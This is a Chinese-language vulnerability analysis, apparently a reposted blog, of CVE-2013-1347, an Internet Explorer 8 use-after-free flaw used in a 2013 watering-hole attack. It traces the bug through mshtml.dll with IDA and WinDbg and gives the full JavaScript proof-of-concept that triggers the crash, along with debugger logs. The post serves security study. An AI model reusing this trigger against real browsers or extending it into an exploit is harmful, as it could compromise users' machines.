CVE-2013-1347:从入门到放弃之调试分析令人崩溃的 Microsoft IE CGenericElement UAF 漏洞

0x01 2013 年 “水坑” APT 攻击事件

  • 在 2013 年 5 月,美国的劳工部网站被黑,利用的正是 CVE-2013-1347 这个漏洞,在当时导致大量使用 IE8 访问网站的用户受到攻击,微软也发布紧急公告。从水坑攻击的过程来看,入侵者先是攻克了这些网站的服务器,之后把能触发 CVE-2013-1347 漏洞的恶意脚本代码添加到网站加载页面,当受害者使用 IE8 浏览器访问美国劳工部网站时就会在本地加载 mshtml.dll 和 jscript.dll 两个动态链接库来解析,从而触发恶意脚本,这个和蠕虫病毒有类似的地方。提起 APT(全球高级持续性威胁) 大家都不陌生,直到现在 “水坑” 攻击依然是较为流行的 APT 攻击方式
    在这里插入图片描述
  • 分析环境:Windows 7 + IE8 + POC(提取码:04em)

0x02 根据样本分析漏洞成因

  • 下面就是能够触发异常的 POC 脚本,来看看这个使用 JavaScript 编写的脚本到底干了些什么:第一步按顺序创建了 3 个 span 元素并且将它们添加到 body 元素的尾部,第二步在 f1 和 f2 的尾部分别创建并添加 datalist 和 table 元素,第三步将 f0 的 offsetParent 属性设置为 null,最后一步将 f1 和 f2 的 innerHTML 属性变为空并且创建了一个 hr 元素添加到 f0 的尾部。在后面的调试中可以知道在做完这些步骤并使用 CollectGarbage 进行垃圾回收后,JS 脚本中的 HTML 元素会被重新被渲染,导致触发异常
    在这里插入图片描述

注:POC 脚本当中部分已标注原因,比如 require 表示这一步是必须的,少了就不会触发异常

  • 使用 Windbg 加载 IE 浏览器后拖入 POC 脚本,会触发以下异常,从细节可以看出 ecx 地址的值是不存在的。注意 Windbg 需要 .childdbg 1 来开启多线程调试,因为 IE 浏览器在处理 JS 脚本时会创建一个新的线程来处理
    在这里插入图片描述
  • 通过查询 ecx 所指向地址的数据发现已经被清空释放了
    在这里插入图片描述
  • 而 ecx 所指向地址的堆也是处于释放状态,根据 UAF 漏洞的原理,可以看出这个堆空间是释放过后又被重新引用了,故触发了异常
    在这里插入图片描述
  • 那么这个堆空间可能与什么有关呢,查询栈中的信息可以看出与两个类的关系十分明显,一个是 CTreeNode 还有一个是 CBlockContainerBlock,所以极有可能是当中的某个对象出了问题
    在这里插入图片描述

0x03 逆向分析 IE 中的 JS 引擎

  • 为什么需要逆向分析 IE 中的 JS 引擎呢,因为针对 UAF 漏洞需要知道每个对象的具体操作内存的细节,而 mshtml.dll 和 jscript.dll 两个动态链接库恰好给予这样的条件让我们去分析
  • 首先对 document.createElement(‘span’); 这条语句进行分析,查阅相关资料经过调试后发现该语句实际上由 CDocument::createElement 类函数执行
    在这里插入图片描述
  • 使用 IDA 反汇编 mshtml.dll 动态链接库,可以看到 CDocument::createElement 函数的具体细节,在此函数中会调用 CDocument::CreateElementHelper 函数进行进一步处理。值得注意的是 ecx 当中保存着 CDocument 对象的 this 指针,这时调用 CDocument 类中的函数的必要步骤
  • 而 CDocument::CreateElementHelper 函数又会调用 CMarkup::CreateElement 函数处理
    在这里插入图片描述
  • CMarkup::CreateElement 内部再继续调用 CreateElement 函数进行进一步处理
    在这里插入图片描述
  • 最后 call eax 会根据所创建的对象调用不同的函数,比如创建一个 Span 对象会调用 CSpanElement::CreateElement 函数,创建一个 body 对象则会调用 CBodyElement::CreateElement 函数
    在这里插入图片描述
    在这里插入图片描述
  • 假设创建的是 Span 元素,那么继续分析 CSpanElement::CreateElement 函数,通过 IDA 的符号表可以很容易的排序并找到 CSpanElement::CreateElement 函数的位置
    在这里插入图片描述
  • CSpanElement::CreateElement 函数如下图所示:首先会通过 HeapAlloc 函数申请 0x28 大小的堆空间,申请完堆空间后调用 CElement::CElement 函数
    在这里插入图片描述
  • CElement::CElement 函数的作用是将创建的对象放入刚刚申请的堆空间,eax 就是申请的堆空间地址,这里要注意的是虽然每个元素创建时调用的函数不同,比如 Span 是调用 CSpanElement::CreateElement 函数,但是却都会经过 CElement::CElement 这个函数(除了 body 等元素外)
    在这里插入图片描述
  • 以 Span 元素为例子可以得出创建该元素的调用过程:CDocument::createElement -> CDocument::createElementHelper -> CMarkup::CreateElement -> CreateElement -> CSpanElement::CreateElement -> CElement::CElement
  • 逆向完了元素的创建过程,下面再逆向元素的插入过程 appendChild,同样的利用符号表查询插入函数,经过调试后发现 CElement::appendChild 执行了插入元素的操作
    在这里插入图片描述
  • 以同样的方式利用 IDA 反汇编 mshtml.dll,查询 CElement::appendChild,发现其调用 CElement::InsertBefore 函数
    在这里插入图片描述
  • 而 CElement::InsertBefore 函数又会调用 CElement::InsertBeforeHelper 函数进行处理
    在这里插入图片描述
  • 在 CElement::InsertBeforeHelper 函数中首先会使用 CElement::GetDOMInsertPosition 函数获取被插入的节点,以 span 元素为例,body 就是将要被插入的节点
    在这里插入图片描述
  • 之后再调用 CDoc::InsertElement 函数
    在这里插入图片描述
  • 在 CDoc::InsertElement 函数中又会调用 CMarkup::InsertElementInternal 函数做进一步的处理
    在这里插入图片描述
  • 最后看一下 CMarkup::InsertElementInternal 函数,在 0x74d40ce5 的地方申请了 0x4c 大小的堆空间,申请的堆空间首地址会存放在 eax 当中,在由 ecx 传入 CTreeNode::CTreeNode 函数中,结合 C++ 类的反汇编可以分析出这里是动态申请了 CTreeNode 对象并且调用了类对象中的 CTreeNode 函数
    在这里插入图片描述
  • 所以以 span 元素的插入为例,函数调用过程如下:CElement::appendChild -> CElement::InsertBefore -> CElement::InsertBeforeHelper -> CDoc::InsertElement -> CMarkup::InsertElementInternal -> CTreeNode::CTreeNode
  • 由于上面已经分析了元素的创建和插入过程,所以下面对 CTreeNode 对象的地址和 CElement 对象的地址下记录断点,注意 CElement::CElement 会断下两处地址,需要结合前面的分析选择正确的 CElement::CElement 函数
    (1) bu mshtml!CMarkup::InsertElementInternal+0x1de ".echo '=== CTreeNode ==='; dd eax l1; dps poi(eax) l1;gc" (2) bu mshtml!CElement::CElement + 0x1e ".echo '=== CElement ==='; dd edi l(28/4);gc" (3) bu mshtml!CreateElement+0x41 "ln eax;gc"(这里会断下两个地址,本人计算机是下面这个) (4) bp 74d64bb0+37 "ln eax;gc"

注:第一个断点打印出 CTreeNode 对象的地址,第二个断点打印出 CElement 对象的地址,第三个断点打印出创建的对象是哪一个对象

  • 打印出的信息如下所示:
    mshtml!CSpanElement::CreateElement = <no type information>
'=== CElement ==='
0c574fd8  74c254b0 00000001 00000008 00000000
0c574fe8  00000000 00000000 00000000 00000000
0c574ff8  00000000 00000000
'=== CTreeNode ==='
0c852fb0  0c574fd8
0c574fd8  74d1b0c8 mshtml!CSpanElement::`vftable'
(74d1b07a)   mshtml!CSpanElement::CreateElement   |  (74d1b0c8)   mshtml!CSpanElement::`vftable'
Exact matches:
    mshtml!CSpanElement::CreateElement = <no type information>
'=== CElement ==='
0bf6afd8  74c254b0 00000001 00000008 00000000
0bf6afe8  00000000 00000000 00000000 00000000
0bf6aff8  00000000 00000000
'=== CTreeNode ==='
0c63efb0  0bf6afd8
0bf6afd8  74d1b0c8 mshtml!CSpanElement::`vftable'
(74d1b07a)   mshtml!CSpanElement::CreateElement   |  (74d1b0c8)   mshtml!CSpanElement::`vftable'
Exact matches:
    mshtml!CSpanElement::CreateElement = <no type information>
'=== CElement ==='
0c50efd8  74c254b0 00000001 00000008 00000000
0c50efe8  00000000 00000000 00000000 00000000
0c50eff8  00000000 00000000
'=== CTreeNode ==='
0c644fb0  0c50efd8
0c50efd8  74d1b0c8 mshtml!CSpanElement::`vftable'
(74c4c234)   mshtml!CGenericElement::CreateElement   |  (74c4c279)   mshtml!CGenericElement::CGenericElement
Exact matches:
    mshtml!CGenericElement::CreateElement = <no type information>
'=== CElement ==='
0a242fc8  74c254b0 00000001 00000008 00000000
0a242fd8  00000000 00000000 00000000 00000000
0a242fe8  00000000 00000000
'=== CTreeNode ==='
0be8cfb0  0a242fc8
0a242fc8  74c4c2e8 mshtml!CGenericElement::`vftable'
(74d1cea7)   mshtml!CTable::CreateElement   |  (74d1cee8)   mshtml!CTable::CTable
Exact matches:
    mshtml!CTable::CreateElement = <no type information>
'=== CElement ==='
09d88fb8  74c254b0 00000001 00000008 00000000
09d88fc8  00000000 00000000 00000000 00000000
09d88fd8  00000000 00000000
'=== CTreeNode ==='
0be92fb0  09d88fb8
09d88fb8  74c263c8 mshtml!CTable::`vftable'
(74cccbf0)   mshtml!CHRElement::CreateElement   |  (74cccc44)   mshtml!CLSID_HTMLSelectElement
Exact matches:
    mshtml!CHRElement::CreateElement = <no type information>
'=== CElement ==='
0cdeffd8  74c254b0 00000001 00000008 00000000
0cdeffe8  00000000 00000000 00000000 00000000
0cdefff8  00000000 00000000
'=== CTreeNode ==='
0c7f2fb0  0cdeffd8
0cdeffd8  74c29160 mshtml!CHRElement::`vftable'
(21c.41c): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=75155100 ebx=0be8cfb0 ecx=0a242fc8 edx=00000000 esi=086ff3e8 edi=00000000
eip=74ddc400 esp=086ff3bc ebp=086ff3d4 iopl=0         nv up ei pl zr na pe nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00010246
mshtml!CElement::Doc:
74ddc400 8b01            mov     eax,dword ptr [ecx]  ds:002b:0a242fc8=????????
  • 最后触发异常访问的确实是一个对象的地址,那么到底是哪一个对象呢,往上寻找就可以发现原来是 datalist 元素(CGenericElement)的 CTreeNode 对象,这个对象就是引发释放重引用的元凶

注:在进行记录断点时,最好先使用 sxe ld:mshtml 断下 mshtml 这个模块,之后再下记录断点

  • 找到了出问题的元素后,继续对 f0.offsetParent=null 语句做逆向分析,看看这条语句会对 datalist 对象干些什么。查询符号表后发现 CElement::get_offserParent 这个函数最有可能执行 f0.offsetParent = null 这条语句,在之后的调试中也证明了这一点
    在这里插入图片描述
  • 使用 IDA 分析 CElement::get_offserParent 函数,发现其会调用 CElement::GetOffserParentHelper 函数
    在这里插入图片描述
  • 为了弄清楚 CElement::GetOffserParentHelper 到底对 datalist(CGenericElement )元素的 CTreeNode 这个对象做了哪些操作,所以在该函数头部和尾部下断点,对比分析 CTreeNode 的内存情况
    在这里插入图片描述
  • 结合上面的断点,一共是下了 5 个记录断点:
    在这里插入图片描述
  • 再次运行后,断在了 CElement::GetOffserParentHelper 函数的开头处,结合打印出的数据查看此时 datalist 元素的 CTreeNode 对象
    在这里插入图片描述
  • 之后在 CElement::GetOffserParentHelper 函数的结尾处断下,依照同样的方法查看 datalist 元素的 CTreeNode 对象,对比后发现差别较为明显的是 CTreeNode 对象 +8 和 +C 处的两个数据,这两个数据在一开始均处于未初始化状态,所以为 fff…,执行完 CElement::GetOffserParentHelper 函数之后才被赋值,之后结合旧的 IE 源码发现 CTreeNode 对象 +C 是定义 CharFormat 的整数值,如果该整数值小于 0 就不会重新渲染 HTML 元素,而 CElement::GetOffserParentHelper 将值变为了 2 导致还会对 HTML 做渲染
    在这里插入图片描述
  • 重新下断点在调试一遍
    在这里插入图片描述
  • 打印结果如下图所示:
Exact matches:
    mshtml!CSpanElement::CreateElement = <no type information>
'=== CElement ==='
0c446fd8  74c254b0 00000001 00000008 00000000
0c446fe8  00000000 00000000 00000000 00000000
0c446ff8  00000000 00000000
'=== CTreeNode ==='
0bfd0fb0  0c446fd8
0c446fd8  74d1b0c8 mshtml!CSpanElement::`vftable'
(74d1b07a)   mshtml!CSpanElement::CreateElement   |  (74d1b0c8)   mshtml!CSpanElement::`vftable'
Exact matches:
    mshtml!CSpanElement::CreateElement = <no type information>
'=== CElement ==='
0a434fd8  74c254b0 00000001 00000008 00000000
0a434fe8  00000000 00000000 00000000 00000000
0a434ff8  00000000 00000000
'=== CTreeNode ==='
0a328fb0  0a434fd8
0a434fd8  74d1b0c8 mshtml!CSpanElement::`vftable'
(74d1b07a)   mshtml!CSpanElement::CreateElement   |  (74d1b0c8)   mshtml!CSpanElement::`vftable'
Exact matches:
    mshtml!CSpanElement::CreateElement = <no type information>
'=== CElement ==='
0d1acfd8  74c254b0 00000001 00000008 00000000
0d1acfe8  00000000 00000000 00000000 00000000
0d1acff8  00000000 00000000
'=== CTreeNode ==='
0a35cfb0  0d1acfd8
0d1acfd8  74d1b0c8 mshtml!CSpanElement::`vftable'
(74c4c234)   mshtml!CGenericElement::CreateElement   |  (74c4c279)   mshtml!CGenericElement::CGenericElement
Exact matches:
    mshtml!CGenericElement::CreateElement = <no type information>
'=== CElement ==='
0be15fc8  74c254b0 00000001 00000008 00000000
0be15fd8  00000000 00000000 00000000 00000000
0be15fe8  00000000 00000000
'=== CTreeNode ==='
0a3fbfb0  0be15fc8
0be15fc8  74c4c2e8 mshtml!CGenericElement::`vftable'
(74d1cea7)   mshtml!CTable::CreateElement   |  (74d1cee8)   mshtml!CTable::CTable
Exact matches:
    mshtml!CTable::CreateElement = <no type information>
'=== CElement ==='
0c50efb8  74c254b0 00000001 00000008 00000000
0c50efc8  00000000 00000000 00000000 00000000
0c50efd8  00000000 00000000
'=== CTreeNode ==='
0a302fb0  0c50efb8
0c50efb8  74c263c8 mshtml!CTable::`vftable'
(74cccbf0)   mshtml!CHRElement::CreateElement   |  (74cccc44)   mshtml!CLSID_HTMLSelectElement
Exact matches:
    mshtml!CHRElement::CreateElement = <no type information>
'=== CElement ==='
0bc82fd8  74c254b0 00000001 00000008 00000000
0bc82fe8  00000000 00000000 00000000 00000000
0bc82ff8  00000000 00000000
'=== CTreeNode ==='
0a485fb0  0bc82fd8
0bc82fd8  74c29160 mshtml!CHRElement::`vftable'
(1290.41c): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=75155100 ebx=0a3fbfb0 ecx=0be15fc8 edx=00000000 esi=0868f3e8 edi=00000000
eip=74ddc400 esp=0868f3bc ebp=0868f3d4 iopl=0         nv up ei pl zr na pe nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00010246
mshtml!CElement::Doc:
74ddc400 8b01            mov     eax,dword ptr [ecx]  ds:002b:0be15fc8=????????
  • 使用 !heap -p -a 命令查询 datalist 元素对象地址和 datalist 元素所对应的 CTreeNode 对象的地址,发现 datalist 的 CTreeNode 对象并没有被释放而 datalist 的对象则已经被释放了,而 CTreeNode 的头 4 个字节却依然指向已释放的 datalist 对象,这也是释放后所引用导致异常的对象
    在这里插入图片描述
    在这里插入图片描述
  • 如果是去掉了 f0.offsetParent=null; 这条语句,对比之后可以发现 datalist 元素对象和 datalist 元素的 CTreeNode 对象都会被释放
    在这里插入图片描述
    在这里插入图片描述

0x04 追根溯源,分析漏洞本质

  • 从上面的一系列的分析中可以得出,datalist 元素的 CTreeNode 对象会因为 f0.offsetParent=null; 这条语句误认为被渲染过,所以导致 CTreeNode 对象并不会被释放,而 CTreeNode 对象却依然指向已被释放的 datalist 元素对象,那么为什么会导致 CTreeNode 对象没有被释放呢?我们重新看一下漏洞触发点的栈结构:
    在这里插入图片描述
  • ebx 中储存着 datalist 元素的 CTreeNode 对象 0aabefc8,从上面的栈回溯可以看出最早使用 0d332fb0 的函数是 ISpanQualifier::GetFancyFormat
    在这里插入图片描述
  • 使用 IDA 分析这个函数,而 datalist 元素的 CTreeNode 对象就是通过 eax 传入的
    在这里插入图片描述
  • 通过栈回溯的信息发现 SRunPointer::HasInlineMbp 函数会调用 SLayoutRun::HasInlineMbp 函数,而在这之前会调用 SRunPointer::SpanQualifier 函数
    在这里插入图片描述
  • 这个就是 SRunPointer::SpanQualifier 函数的内部,对这个函数下断点看看对 eax 做了哪些操作
    在这里插入图片描述
  • 在 SRunPointer::SpanQualifier 函数断下,使用 t 命令进入这个函数并继续向下调试,发现此时 eax = eax + 4
    在这里插入图片描述
  • 在函数的最后 eax = eax + c,之后函数返回,查询 eax 对象的虚表指针发现是 span,这里只是以 span 为例子,datalist 元素对象创建之后这里的对象就会是 datalist,所以推导出 eax = [eax + 4] + c
    在这里插入图片描述
  • 那么 eax + 4 的地址是什么呢,为了方便推导,所以将脚本改成了如下所示:
<!doctype html> <!-- required -->
<HTML>
<head>
</head>
<body>
<ttttt:whatever id="myanim"/><!-- required format -->
<script>
	Math.atan2(1, "[*] Create f0(span)...");
	// 创建 span 元素 f0,并且添加到 body 的尾端
    f0=document.createElement('span');
	document.body.appendChild(f0);

	Math.atan2(1, "[*] Create f1(span)...");
	// 创建 span 元素 f1,并且添加到 body 的尾端
	f1=document.createElement('span');
	document.body.appendChild(f1);

	Math.atan2(1, "[*] Create f2(span)...");
	// 创建 span 元素 f2,并且添加到 body 的尾端
	f2=document.createElement('span');
	document.body.appendChild(f2);

	Math.atan2(1, "[*] f2 appendChild datalist...");
	document.body.contentEditable="true";
	f2.appendChild(document.createElement('datalist')); //has to be a data list

	Math.atan2(1, "[*] f1 appendChild table...");	
	f1.appendChild(document.createElement('table'));    //has to be a table

	try{
			Math.atan2(1, "[*] Set f0 offsetParent NULL...");
	        f0.offsetParent=null;                       //required
	}catch(e){  }

	Math.atan2(1, "[*] Set f2 innerHTML NULL...");
	f2.innerHTML="";                                    //required

	// 改变 DOM 树进行重绘
	Math.atan2(1, "[*] Set f0 innerHTML hr...");
	f0.appendChild(document.createElement('hr'));       //required

	Math.atan2(1, "[*] Set f1 innerHTML NULL...");
	f1.innerHTML="";                                    //required

	Math.atan2(1, "[*] Collect Garbage...");
	CollectGarbage();
	Math.atan2(1, "[*] End !!!");

	// 代码执行后会引用 datalist 这个对象
 </script>
</body>
</html>
  • 并且在下 bu jscript!JsAtan2 “.printf “%mu”, poi(poi(poi(esp+14)+8)+8); .echo” 断点,结合上面的断点一共是 5 个断点
    在这里插入图片描述
  • 打印信息如下所示:最后一次 eax+4 指向的地址是 0a443fd0
  • 查询 0a443fd0 的内存数据,发现 0a443fd0 + c,也就是 [eax + 4] + c 的地址正好是漏洞异常处 ebx 中的值,ebx 指向的就是 datalist 元素的 CTreeNode 对象
    在这里插入图片描述
  • 通过对 eax + 4 的地址进行栈回溯,查阅相关资料后发现 eax + 4 地址的数据结构是在构造 CTextBlock 时生成的,并且 CTextBlock + 0x58 保存着 eax + 4 地址的数据结构
    在这里插入图片描述
  • 那么这个 eax + 4 的数据结构是干啥用的呢,原来这个数据结构是用来储存 span 和 datalist 元素的嵌套关系的(<span><datalist></datalist></span>),如下图所示,0bd6afb0 是 span 元素的对象,而 0c227fb0 表示 datalist 元素的 CTreeNode 对象
    在这里插入图片描述
  • 之后将 f0.offsetParent=null; 语句注释掉后,下如下断点
    在这里插入图片描述
  • 发现并没有异常,而是顺利的运行了脚本,运行一段时间之后通过点击 Windbg 的 Debug -> break 按钮暂停调试
    在这里插入图片描述
    在这里插入图片描述
  • 向上找到 datalist 元素的 CTreeNode 对象地址为 0x0d01afb0,并且向下寻找这个对象地址,发现并没有找到,所以之前的 eax + 4 地址的内存数据结构并没有记录 datalist 元素的 CTreeNode 对象地址,也就是没有储存 span 元素和 datalist 元素的嵌套关系,所以这也是漏洞形成的根本原因
    在这里插入图片描述

0x05 总结

  • 分析了这么多发现其实 CVE-2013-1347 漏洞的根本原因在于设置 f0.offsetParent=null; 后导致 datalist 元素误认为被渲染过,所以导致 eax + 4 地址中的数据结构依然储存着 span 和 datalist 元素 CTreeNode 对象的嵌套关系,导致 CTreeNode 所在的堆空间并没有被释放掉,而 CTreeNode 保存着已释放的 datalist 对象的堆空间首地址,在垃圾回收之后,浏览器重新渲染元素导致被释放的 datalist 对象再一次被引用到,从而触发了漏洞

CVE-2013-1347 的分析到此结束,如有错误,欢迎指正(天哪终于分析完了)
参考资料:0day安全:软件漏洞分析技术 + 漏洞战争

原文地址:https://www.cnblogs.com/csnd/p/11800512.html